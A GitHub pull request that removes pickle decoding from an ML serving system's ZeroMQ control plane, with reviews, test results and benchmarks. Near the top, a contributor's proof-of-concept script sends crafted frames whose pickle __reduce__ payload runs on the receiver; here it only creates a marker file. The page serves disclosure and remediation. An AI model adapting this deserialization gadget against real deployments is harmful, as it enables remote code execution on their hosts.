Repository navigation
[Security] Make the control-plane wire data-only (remove pickle) - #407
Conversation
|
Reproduction referenced in the description ( Run from an mstar checkout: """Harmless PoC: a crafted control-plane frame runs code in the receiver.
The payload only creates a marker file. Run from an mstar checkout:
MSTAR_RUST_ZMQ=0 python poc_compact.py
"""
import os
import pickle
import tempfile
import time
import msgpack
import zmq
from mstar.communication.communicator import CommProtocol, ZMQCommunicator
class Payload:
def __init__(self, path):
self.path = path
def __reduce__(self): # runs on the receiver during pickle.loads
return (open, (self.path, "w"))
root = tempfile.mkdtemp()
receiver = ZMQCommunicator("conductor", [], protocol=CommProtocol.IPC, ipc_socket_path_prefix=root)
sender = zmq.Context.instance().socket(zmq.PUSH) # plain pyzmq, no mstar code
sender.connect(receiver._endpoint("conductor"))
frames = {
"whole message": msgpack.packb(["__py__", pickle.dumps(Payload(f"{root}/a"))], use_bin_type=True),
"model_kwargs": msgpack.packb(["conductor_msg", {
"message_type": "new_request",
"body": ["new_request_conductor", {
"request_id": "r", "initial_signals": {}, "initial_input_modalities": [],
"initial_output_modalities": [], "input_metadata": {},
"model_kwargs": msgpack.ExtType(80, pickle.dumps(Payload(f"{root}/b"))),
}],
}], use_bin_type=True),
}
for frame in frames.values():
sender.send(frame)
time.sleep(0.3)
receiver.get_all_new_messages()
for (name, _), marker in zip(frames.items(), "ab"):
print(f"{name:14} payload executed: {os.path.exists(f'{root}/{marker}')}")Output on Output on this branch (both frames are logged as |
7e72fa9 to
23f6eeb
Compare
|
@NSagan271 could you please take a look when you have a chance? This is the public security fix for the pickle decoding in the control plane. CI is waiting on maintainer approval to run, since this is my first PR here. |
merceod
left a comment
merceod
left a comment
There was a problem hiding this comment.
Read the codec and the three model changes, and ran this on klone H200s against main 3c5f0dd. That covered the PoC over both transports, the wire tests, a codec microbench on real frames, and serving parity by output hash plus load A/B on Qwen3.5-0.8B, BAGEL, Cosmos3-Nano, Pi0.5, V-JEPA 2 AC, FLUX.2-klein and Qwen3.5-9B TP2. The security claim holds. On main both crafted frames run the payload over the Python and the Rust transport, on this branch both are refused with "pickle metadata is no longer supported; upgrade all peers", and the only pickle.loads left in mstar/ unpickles a blob the worker wrote itself. Approving. The one thing I would change before merging is the per-pass descriptor in point 1, the rest is notes.
-
The per-pass KV transfer descriptor takes the slow path. CudaIpcKVTransferInfo's size, stride and cuda_share are bare tuples, so the resource_publish_info the conductor re-sends in every INPUT_SIGNALS (conductor.py:1467) goes through the ext-81 dynamic path on every pass of every request. On real frames the typed messages are unchanged (INPUT_SIGNALS with 1 and 8 edges 44 and 202 us, WORKER_GRAPHS_DONE 142 us, RESULT_TENSORS 37 us, both trees), but the INPUT_SIGNALS that carries one KV descriptor goes from 87.5 us on main to 111 us here, and from 154 to 216 us with three KV labels. The body's microbench never carries publish info, which is why it reads as noise there. Annotating those fields as tuple[int, ...] keeps them on the typed path, the reader already accepts tuples (transfer.py:297-300). It did not show up in the serving load at c16 to c64 on 0.8B and BAGEL, so it is a cleanup rather than a blocker.
-
Outputs are unchanged against main on the same venv. Qwen3.5-0.8B greedy 112/112 prompts identical (64 short, 48 of 1k to 3k tokens), BAGEL seeded T2I 6/6, greedy T2T 6/6 and seeded I2T 6/6 identical, Cosmos3-Nano text-to-video and forward dynamics with two action chunks identical hashes on both seeds, Pi0.5 action bytes identical on both seeds, V-JEPA 2 AC rollout video identical on both reps, FLUX.2-klein seeded 512x512 T2I identical on both seeds. Serving load on 0.8B and BAGEL (closed loop c16/48/64 and Poisson 5/s, three server restarts per arm) is inside the restart noise, and Qwen3.5-9B on TP2 (one start per arm, mix c16/c48, short c16/c48, Poisson 5/s) is within 4% of main on throughput with the TTFT tails noisy in both directions, so the per-pass descriptor does not show up at that scale either.
Notes
- A
__data__frame that decodes to something that is not a message raises AttributeError in the dispatch loops, and the conductor's except at conductor.py:1603 drops the rest of that drained batch. Pre-existing via__py__, but the body's "other frames in the batch still dispatch" only holds inside decode_each. - tuple, list and dict subclasses (namedtuple, defaultdict, OrderedDict) now raise WireError at the sender. No producer in the tree sends one today, but it is neither in the behaviour-changes list nor tested.
- The dataclass kind runs cls(**kwargs) on frame data, so any mstar dataclass's post_init runs on attacker-chosen values (none found that touches files, CUDA or processes), and an auto: tag can import any importable mstar module. Worth a line in the threat model.
- test_hostile_auto_tags asserts
_CALLS == []on a list nothing appends to, and two of its three cases are refused on main already. The untested shapes are ext-80 inside an ext-81 container, a hostile auto: dataclass with required fields, deep ext-81 nesting (ends in a logged RecursionError) and a client ExtType(81). - Small things. The message for an undeclared tensor kwarg does not name the kwarg. PREPROCESS_ONLY_KWARGS is not in docs/adding_models.rst. The two parallel if-chains in wire.py would read better as one kinds table. The Cosmos3 action_inputs edge is a topology change riding in a security PR. The legacy mk["action"] branch (cosmos3_model.py:1279-1283) still resolves raw_action_dim for direct callers while the worker reads only the edge. The pickle docstring in test_tp_spec_wire_format.py:90-92 is stale.
| @@ -386,28 +458,64 @@ def _is_plain(value) -> bool: | |||
|
|
|||
|
|
|||
| def _dynamic(value): | |||
There was a problem hiding this comment.
The per-pass KV transfer descriptor lands here on every INPUT_SIGNALS: CudaIpcKVTransferInfo's size, stride and cuda_share are bare tuples, so the resource_publish_info the conductor re-sends each pass goes through this path. On real frames that is 87.5 us on main vs 111 us here with one KV label (154 vs 216 with three), while the typed messages are unchanged. Annotating those fields as tuple[int, ...] keeps them on the typed path (the reader already accepts tuples).
There was a problem hiding this comment.
Done in two steps. In 9509833, size/stride became tuple[int, ...] and cuda_share became tuple[Any, ...]. In c700dfe, the descriptor field itself is typed: KVTransferInfo | None with registered tags, so the descriptor takes the typed path end to end. One KV label: 35.0 us on main, 43.2 us on 23f6eeb, 33.2 us now; three labels: 69.3, 96.9, 67.6 us. Details are in the main reply.
| with pytest.raises(wire.WireError): | ||
| codec.decode(frame) | ||
| finally: | ||
| assert _CALLS == [] |
There was a problem hiding this comment.
_CALLS is never appended to in this test, so the assert is inert here; the refusal is what the test proves. Worth either dropping the line or making the callable record.
There was a problem hiding this comment.
Dropped the inert assertion here. The recording callable is now exercised by the new nested-extension test, where ext 80 inside an ext 81 container is rejected without the callable running.
| # Inputs consumed by process_prompt (tokenized or placed on tensor edges). | ||
| # Retain them locally for postprocessing, but do not send the original | ||
| # values to the conductor alongside their tensor descriptors. | ||
| PREPROCESS_ONLY_KWARGS: tuple[str, ...] = () |
There was a problem hiding this comment.
A model author will look for this in docs/adding_models.rst; it is not there yet. And the WireError a forgotten declaration raises does not name the kwarg, which is the one thing they would need.
There was a problem hiding this comment.
Added a note to docs/adding_models.rst. Send-time refusals now name the key path, e.g. body: model_kwargs: action: tensors cannot travel in control metadata; ... PREPROCESS_ONLY_KWARGS.
23f6eeb to
9509833
Compare
|
Thanks for the thorough review and the independent runs. Updated in 9509833, with the KV descriptor finished in c700dfe (see the follow-up below):
Notes:
Reran on c700dfe: CPU core 1,139 passed; full |
The ZeroMQ control mesh decoded the opaque-frame fallback ("__py__") and the
ext-80 value of loosely typed fields with pickle, and MSTAR_WIRE_CODEC=pickle
selected a pickle codec. Decoding a crafted frame could therefore reconstruct
and call an object the sender chose, inside the receiving process.
Loosely typed values now cross as data: plain msgpack where exact, and a
data-only extension (code 81) with explicit kinds for tuples, sets,
non-string-keyed maps, project dataclasses, torch dtypes and sizes, plain NumPy
dtypes, dates, and the msgpack timestamps/extensions a /generate/ws client
sends. Legacy pickle frames are rejected without being deserialized,
MSTAR_WIRE_CODEC=pickle fails at startup, and unsupported values raise
WireError at the sender. Auto-tagged dataclasses stay inside the
self-describing envelope so a peer that never met the class can still decode
them, and an auto tag must name a dataclass defined at that exact mstar module
path, so it cannot reach another package's class through an import. Malformed
extensions raise WireError, and send-time refusals name the key path.
Compatibility the change surfaced:
- KV transfer descriptor: it rides in the publish info re-sent every forward
pass. The CUDA IPC, SHM and Mooncake descriptors share a KVTransferInfo base
registered as a polymorphic wire type, KVSequenceInfo declares the field as
that base, and CudaIpcKVTransferInfo's size (a torch.Size), stride and
cuda_share are declared tuple fields, so the descriptor takes the typed path.
- Tensor-valued Python inputs: models declare PREPROCESS_ONLY_KWARGS, which the
preprocess worker keeps locally and omits from the conductor copy. V-JEPA 2 and
Pi0.5 already move these onto tensor edges; Cosmos3 now sends its forward-
dynamics action on an action_inputs tensor edge and only the shape as metadata.
Tests: the security regressions, codec round trips run with pickle loading
disabled, preprocessing and real SHM transfer for CPU/CUDA tensor inputs, and
the CUDA-free CI selection.
9509833 to
c700dfe
Compare
|
Follow-up in c700dfe: the per-pass descriptor is now on the typed path end to end, so there's no remaining gap. The CUDA IPC, SHM and Mooncake descriptors share a small Same message, real descriptor, median and min-max of five interleaved runs on one pinned core:
A correction: my previous comment first reported its three-label row as 70.1 / 95.8 / 80.7, which was the mean of three runs, not the median (69.8 / 96.3 / 80.4). That comment now shows the table above instead. Reran on c700dfe: CPU core 1,139 passed; full |
|
@merceod could you please approve the workflow run for c700dfe when you have a moment? CI hasn't run on the last two pushes because first-time contributor runs need maintainer approval. That commit is the follow-up to your KV descriptor note: the per-pass descriptor is now on the typed path and at parity with main (details in the comments above). A quick look at it would be appreciated too. |
|
Lgtm! Merged! Thank you! |
- sample_video charges VideoBudget with the sampled frame count and the header's frame size before torchcodec decodes, so MSTAR_MAX_VIDEO_PIXELS holds for Qwen3.5 as for the other video models. - ffmpeg_unavailable() also checks torchcodec.ffmpeg_major_version: from 0.16 torchcodec imports without FFmpeg, and the error otherwise came back as "could not decode video", blaming the file. The decode tests' skip guards use it too. - Revert video_metadata_dict's numpy conversion: the wire codec encodes numpy since mstar-project#407. group_timestamps casts the indices to int instead. - configs/qwen3_5_*.yaml no longer say video is refused, and test_video_is_refused_rather_than_run_as_an_image goes: video is accepted now, and test_video_needs_its_sampling_metadata covers the refusal it was passing through. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
* Qwen3.5: video input, matching transformers' Qwen3VLProcessor Video in, text out for the Qwen3.5 dense family (and Qwen3.8-27B), interleaved with text and images in any order and prefilled in written order through the existing prefill_vision walk. - Frames are decoded with transformers' own torchcodec loader and sampled by the checkpoint's video processor (2 fps, 4-768 frames), on the host. - Each temporal group is written as `<t seconds><|vision_start|>pad<|vision_end|>` inside the template's outer sentinels (transformers >= 5.10's layout, as vLLM and SGLang) and placed in MRoPE like a one-frame image. - The schedule gets each video's group count as process_prompt metadata; the LLM's vision walk places one (1, h, w) span per group. The vision encoder is unchanged. - A prompt with more vision segments than the captured block loop holds but few enough patches to land in it is refused with a 400 (TODO: segment-aware lease). Other modalities are still refused. Tests compare prompt ids, patches/grids and 3D positions against transformers on a synthetic checkpoint (CPU, offline); registered in test/cpu-core.txt. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> * Piecewise regions declare can_lease; Qwen3.5 runs over-ceiling vision eagerly A captured piecewise region's bucket key covers batch size and token count only. `PiecewiseCudaGraphConfig.can_lease` lets a model declare a limit it doesn't express; the engine leases the region only for batches it accepts, and the rest run the region eagerly. Qwen3.5's vision block loop declares its attention-segment ceiling (64 per prompt: one segment per image and per video frame group). A long, low-res video that fits the top patch bucket with more segments than a replay's plan holds now runs the block loop eagerly instead of being refused with a 400. The encoder replays exactly when its step was leased (`engine_inputs.step` is None), not when the runner has a fitting bucket. Docs: the limit becomes a note; size the KV pool for video concurrency. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> * Qwen3.5 video: review fixes - The vision encoder's lease check reads the segment ceiling from its bound ragged attention resource (new read-only `max_segments_per_request`), so a YAML override of the resource can't leave the two disagreeing; `_vision_resources` is back to main's form. - Replay needs both the lease (no declaration of its own) and a captured bucket, so a forward driven outside the engine stays eager. - `process_prompt` checks the prompt layout from the sampling metadata before the image/video processors run, so a bad layout 400s without resizing hundreds of frames first. - A video torchcodec can't decode is a ValueError (400), not a 500. - One wire sanitizer: `video_metadata_dict` also converts numpy values; the copy in video.py is gone. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> * Qwen3.5 vision: TODO to capture more than 64 segments Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> * Docs: can_lease field; measured KV-pool result for long video Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> * Qwen3.5 video test: prompt parts carry the chat role since #340 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> * Qwen3.5 video: charge the video pixel cap, detect a missing FFmpeg - sample_video charges VideoBudget with the sampled frame count and the header's frame size before torchcodec decodes, so MSTAR_MAX_VIDEO_PIXELS holds for Qwen3.5 as for the other video models. - ffmpeg_unavailable() also checks torchcodec.ffmpeg_major_version: from 0.16 torchcodec imports without FFmpeg, and the error otherwise came back as "could not decode video", blaming the file. The decode tests' skip guards use it too. - Revert video_metadata_dict's numpy conversion: the wire codec encodes numpy since #407. group_timestamps casts the indices to int instead. - configs/qwen3_5_*.yaml no longer say video is refused, and test_video_is_refused_rather_than_run_as_an_image goes: video is accepted now, and test_video_needs_its_sampling_metadata covers the refusal it was passing through. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Fixes #415
Summary
The ZeroMQ control mesh decoded some frames with Python
pickle, which is an unsafe-deserialization boundary: decoding a crafted frame can reconstruct and invoke a caller-chosen object inside the receiving process. This PR makesWireCodecdata-only. Loosely typed values are carried as explicit msgpack data, and legacy pickle frames are rejected without unpickling their payloads. It also preserves the two compatibility cases the change surfaced:torch.Sizein KV-transfer metadata, and tensor-valued Python inputs for V-JEPA 2, Pi0.5 and Cosmos3, which now travel on the existing tensor transport instead of as serialized control metadata.A harmless reproduction (
poc_compact.py, added in a comment below) confirms the behavior change on a real receiver: the payload only creates a marker file. The repository's security tests exercise the same boundary with a recording callable.Why this matters
127.0.0.1by default; IPC uses sockets under a/tmpprefix. There is no demonstrated path through the public JSON HTTP API.Three decode paths used pickle:
__py__)__data__envelope of supported msgpack data; legacy__py__rejectedmodel_kwargs,step_metadata,PublishedKVInfo.info, nested metadata) via msgpack ext code 80MSTAR_WIRE_CODEC=pickleDecoding no longer interprets pickle reconstruction instructions or invokes arbitrary callables specified by a frame. The existing registered and
auto:mstar...tag paths still build project dataclasses, and auto resolution can import project modules. Anauto:tag must now name a dataclass defined at exactly that mstar module path; before, a tag could reach another package's class through an mstar module's imports (for exampleauto:mstar.graph.base:torch._guards.CompileId). This PR does not claim a fully side-effect-free decoder, authenticated peers, or DoS protection. Those are noted as follow-ups.Data-only encoding
Plain JSON-shaped values stay ordinary msgpack. Explicit extensions preserve only values msgpack would otherwise change, with validation on decode:
tuple,set,frozensetmstar.module path. An auto-tagged class always travels inside the self-describing envelope, so a peer that never met it can still decode ittorch.dtypetorch.Sizedtype.str, shape, raw bytes; shape vs byte-length checked. Structured, subarray, metadata-carrying and zero-itemsize dtypes are rejected on both endsmsgpack.Timestamp,msgpack.ExtType(sent by/generate/wsclients)(seconds, nanoseconds)/ opaque(code, bytes); a client's ext code 80 stays opaque and is never read as legacy pickledatetime.date,datetime.datetime(e.g. from warmup YAML)Anything outside this set raises
WireErrorat the sender, naming the type, instead of crossing the wire as something the receiver would reconstruct.Compatibility work the change surfaced
KV transfer descriptor (normal inference). The resource publish info the conductor re-sends with every forward pass carries each request's KV transfer descriptor (
KVSequenceInfo.latest_kv_transfer_info). That field was typedAny, andCudaIpcKVTransferInfo.sizeis atorch.Size, which the data-only codec initially rejected. The three descriptor classes (CUDA IPC, shared memory, Mooncake) now share a smallKVTransferInfobase registered as a polymorphic wire type with short tags, the field is declaredKVTransferInfo | None, andsize,strideandcuda_shareare declared tuple fields. The whole descriptor therefore travels as[tag, fields]on the typed path, with no data extension (see Performance). The receiver passessizeandstridestraight torebuild_cuda_tensor, which accepts tuples; a test sends a real descriptor through the codec to a second process that opens it over CUDA IPC and copies a KV page, and another asserts the per-passINPUT_SIGNALSframe contains no extensions. Atorch_sizeextension remains for any other loosely typedtorch.Size.Tensor-valued Python inputs. The preprocess worker previously forwarded the original kwargs to the conductor after consuming them, so V-JEPA 2 and Pi0.5 tensors crossed twice (tensor transport and serialized metadata), and Cosmos's
actioncrossed as metadata. Models now declarePREPROCESS_ONLY_KWARGS; the worker keeps the originals locally for postprocessing and omits them from the conductor copy. Cosmos sends itsactionvalues on a tensor edge and only the shape as metadata.actions,states,extrinsics,context_mask,target_mask,goal_hiddenrobot_stateactionaction_inputstensor edge; conductor resolvesraw_action_dimfrom the shape; empty edge keeps non-action requests readyThe default
PREPROCESS_ONLY_KWARGSis empty, so no other model silently drops kwargs. Both CPU and CUDA Python inputs remain supported; the preprocessing/SHM tests verify the transferred values and receiving device.Behavior changes (upgrade all processes together)
MSTAR_WIRE_CODECaccepts onlymsgpack; other values fail startup.WireErrorat send time, naming the field and key path that held them (examples: arbitrary objects/callables,torch.device, tensors placed directly in control metadata, an enum placed directly in loose metadata, subclasses oftuple,listanddictsuch asnamedtuple,OrderedDictanddefaultdict, and NumPy object, structured, metadata-carrying or zero-itemsize dtypes). No producer in the tree sends a container subclass today; the tests pin the refusal. The old codec carried some of these through pickle. The producer review found no required control-plane use of the excluded device, enum or NumPy dtype cases. JSON, msgpack and YAML inputs cannot directly represent these Python objects; Python API callers must use the supported values or declared preprocessing inputs./generate/ws, and dates from warmup YAML.rmpvvalues, which round-trip any ext type (verified with the built extension).Testing
All runs used one NVIDIA H200 against baseline
mainat3c5f0dda. Serving checks used real conductor/worker processes and full model weights. The branch has been revised in place, so each result below names the revision it ran on:7e72fa95: the first posted version.23f6eebc: adds theauto:path check,WireErrorfor malformed extensions, and removesPickleCodec.95098334: the review follow-ups (typed descriptor tuple fields, key paths in send errors, container-subclass and nested-extension tests, docs).c700dfe6(current commit): types the descriptor field itself (KVTransferInfobase and tags), so the per-pass descriptor no longer goes through a data extension.The automated suites, the per-pass KV benchmark and the full seven-model correctness matrix were rerun on the current commit. The codec microbenchmarks and the serving load benchmark ran on
7e72fa95; the revisions since then change only theauto:resolution path, error types and messages, and the KV descriptor's types, which the rerun suites and the per-pass benchmark cover.Reproduction
A harmless reproduction (
poc_compact.py, added in a comment below) sends crafted frames whose payload only creates a marker file, to a real receiver, for both the whole-message and the metadata path:The regression tests fail without the fix
Each group of tests was checked against the code before its fix, so they catch the bug rather than just pass:
mainand is blocked here.pickle.loads,pickle.loadandpickle.Unpicklerfail across every codec round-trip test.Automated suites (current commit)
test/cpu-core.txt): 1,139 passed. In a CI-identical environment built from.github/workflows/ci.yml: 1,097 passed, 51 skipped (CUDA- anddiffusers-only cases), against 945 passed onmainin the same environment.test/modular: 2,910 passed. The only failures are 8 that also fail onmain(stale KV-prefix test doubles, a Rust-extension check, a Kokoro dependency).mstar/model/cosmos3/tests,pi05,vjepa2), on23f6eebc: 115 passed, the same asmain; the one failure (a PyAV fallback check) also fails onmain.cosmos3/tests/test_serving.pywas rerun on the current commit.ruff check .andgit diff --check: clean.What the security tests cover
Legacy frames on every path are rejected and a recording callable is asserted not to run; a send-side unsupported object's reducer is never invoked; malformed NumPy,
torch.Sizeand client-value payloads are rejected withWireError;auto:tags cannot resolve an mstar function, a non-mstar module, or a non-mstar class reached through an mstar module's imports; a legacy pickle extension nested inside a data extension is rejected; an auto-tagged dataclass with missing fields is refused; deeply nested extensions drop only their own frame; a client's own ext 80 or 81 stays opaque; container subclasses are refused at send; a tensor placed in control metadata fails at send naming the kwarg and pointing toPREPROCESS_ONLY_KWARGS; 12 socket combinations (Python/Rust x IPC/TCP x three frame shapes); a dropped frame does not lose healthy neighbors in the same batch.Preprocessing and real SHM transfer
test_model_kwargs_tensor_transport.pyruns six input paths x CPU / CUDA / noncontiguous / list / NumPy through the real preprocess worker, the real conductor message, and real SHM sender/receiver, checking values, device, and that originals are kept locally but omitted from the conductor copy.End-to-end serving correctness
Each model was served from full weights on
mainand on this branch, and sent the same public HTTP requests with fixed seeds. Every output had to pass a content check on both versions and be identical between them: same text, and the same decoded pixels, audio samples, or action values.All rows ran on the current commit, against
main, with a fresh server per model and version.An earlier run, before
7e72fa95's final codec refinements, also covered Python and Rust transports over IPC and TCP, concurrency and cancellation on Qwen3.5, and list, CPU-tensor and CUDA-tensor inputs for Pi0.5 and V-JEPA 2. All outputs were identical across versions.The Cosmos3 row uses 9 frames because at 3 frames the output is a single frame that the action does not affect: an all-zeros and a ramp action give identical pixels on both versions, so a match there would not show the action arrived. At 9 frames the two actions differ by up to 136 in pixel value, and this branch matches
mainexactly for each.Performance
No material end-to-end regression observed in the tested workloads. All measurements ran with nothing else on the machine. The codec tables and the serving benchmark ran on
7e72fa95; the per-pass KV publish info table comparesmain,23f6eebc,95098334and the current commit.Codec, typed control and tensor messages. Encode and decode per message, in microseconds,
main→ fix. Pinned to one CPU core,mainand fix interleaved, median of 3 runs.DrainRequestInputSignals, 8 tensorsInputSignals, 64 tensorsWorkerGraphsDone, 64 tensorsResultTensors, 64 tensorsTyped frames are byte-identical, and all eleven benchmarked message shapes decode within -3.8% to +2.2% with mixed sign, which is within run-to-run noise. (Earlier runs on a shared machine showed a 3-6% decode increase on tensor-carrying messages; it did not reproduce on the quiet machine.)
Codec, loosely typed values that now use a data-only extension instead of pickle. Encode plus decode of one message carrying the value:
step_metadataPython data encoding costs up to ~10 us more than C pickle for container-heavy values, and every frame is the same size or smaller.
Per-pass KV publish info. The conductor re-sends each request's resource publish info, including the CUDA IPC KV descriptor, in every
INPUT_SIGNALS. Encode plus decode of that message with a real descriptor; median and min-max of five interleaved runs on one pinned core:INPUT_SIGNALSwith KV publish infomain23f6eebc95098334Declaring the descriptor's tuple fields (
95098334) recovered most of the cost; typing the descriptor field itself removes the rest, and the message is now at parity withmain(overlapping ranges) and smaller.End-to-end serving. Five models, chosen to cover the request paths this change touches: text, audio, image generation, and the robot-state and action inputs that now travel as tensors. Each model ran three rounds with a fresh server per round and variant. The order was counterbalanced (
mainthen fix, fix thenmain,mainthen fix), to reduce warmup and ordering bias. Eager mode, Python control transport over IPC, SHM tensor transport, public HTTP inputs, warmup excluded.Workloads: Qwen3.5-0.8B, 128-token chat completions. Qwen3-TTS-0.6B, one sentence with sampling disabled. BAGEL, 256x256 image in 10 steps. Pi0.5, image plus 32-dim robot state. Cosmos3-Nano forward dynamics, image plus a 2x7 action chunk, 128x128, 2 steps.
Latency columns are means of the three rounds' p50 and p95,
main→ fix. Throughput columns are the mean with the min-max across rounds in parentheses.mainreq/sThe
mainand fix ranges overlap in every row except Pi0.5 at concurrency 1, where the fix is about 2% faster in every round. No row shows the fix slower beyond the spread ofmainitself.Cosmos3 at concurrency 4 and 8 is bimodal on both versions: each server launch settles at about 8.8 or about 10 req/s at concurrency 4, independent of the code. An earlier 16-request run happened to put all three
mainlaunches in the fast mode and all three fix launches in the slow mode, which looked like a 15% regression. The rows above use 64 requests per level. A third variant, this branch with the Cosmos3 model change reverted, also landed at 8.7-9.1 req/s, which shows the variability also occurs without the new edge.This is eager serving on one GPU at moderate load, not compiled serving or a sustained saturation test.
Scope and limits
auto:tag that imports an mstar module) and have it constructed from frame-supplied field values, which runs that class's__post_init__. A review of the tree found none that touches files, CUDA or processes; restricting auto tags to registered classes is a follow-up.decode_eachdrops only the bad frame, but a frame that decodes to something other than a message (for example a__data__payload sent to the conductor) raises in the dispatch loop, and the conductor's main-loop handler then drops the rest of that drained batch. This predates the change (the same held for__py__) and is not addressed here.Follow-ups (separate PRs)
0700, refuse a symlinked or other-owned prefix.auto:tag resolution to registered classes.